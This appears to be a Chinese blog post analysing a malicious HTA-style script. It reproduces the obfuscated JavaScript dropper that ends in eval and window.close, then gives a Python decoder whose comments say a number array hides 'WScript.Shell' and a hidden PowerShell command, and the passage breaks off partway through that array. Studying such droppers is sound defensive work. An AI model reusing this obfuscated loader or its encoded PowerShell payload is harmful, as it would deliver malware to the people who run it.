,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>稍微调整一下,然后console.log(SxhM),看看是个啥

丢给ai跑个解密脚本
1# -*- coding: utf-8 -*-
2
3def decode_string_from_numbers(number_array):
4 """
5 这个函数模拟了恶意JavaScript代码中的ioRjQN函数。
6 它接收一个数字列表,将每个数字减去601,然后将结果转换为ASCII字符。
7 """
8 decoded_chars = []
9 for number in number_array:
10 # chr() 函数将一个整数转换为对应的ASCII/Unicode字符
11 # 这与JavaScript中的 String.fromCharCode() 功能相同
12 try:
13 char_code = number - 601
14 decoded_chars.append(chr(char_code))
15 except ValueError:
16 # 如果计算出的编码无效,则添加一个占位符
17 decoded_chars.append('[INVALID_CHAR]')
18
19 # 将所有字符连接成一个字符串
20 return "".join(decoded_chars)
21
22
23# --- 从原始恶意代码中提取的两个数字数组 ---
24
25# 这个数组解码后是 "WScript.Shell"
26array_for_object = [688, 684, 700, 715, 706, 713, 717, 647, 684, 705, 702, 709, 709]
27
28# 这个长数组解码后是恶意的PowerShell命令
29array_for_payload = [
30 713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720,
31 633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717,
32 702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692,
33 715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640,
34 698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702,
35 650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700,
36 702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699,
37 703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649,
38 658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658,
39 649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700,
40 698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698,
41 649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652,
42 699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702,
43 651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654,
44 698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698,
45 658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700,
46 702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699,
47 657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699,
48 702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698,
49 658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658,
50 699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702,
51 699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701,
52 698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702,
53 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658,
54 702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703,
55 655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649, 698, 658,
56 698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698,
57 653, 698, 654, 702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 703, 703, 658,
58 703, 657, 703, 653, 703, 657, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699,
59 658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700,
60 698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699,
61 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655,
62 703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658,
63 699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657,
64 702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698,
65 703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658,
66 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657,
67 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654,
68 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698,
69 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657,
70 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698,
71 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651,
72 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698,
73 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657,
74 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658,
75 656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
76 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698,
77 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654,
78 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699,
79 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703,
80 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702,
81 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657,
82 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699,
83 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658,
84 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657,
85 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658,
86 699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702,
87 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701,
88 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702,
89 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657,
90 657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657,
91 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698,
92 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698,
93 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654,
94 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698,
95 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657,
96 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703,
97 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653,
98 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698,
99 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653,
100 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702,
101 654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650,
102 698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699,
103 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654,
104 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698,
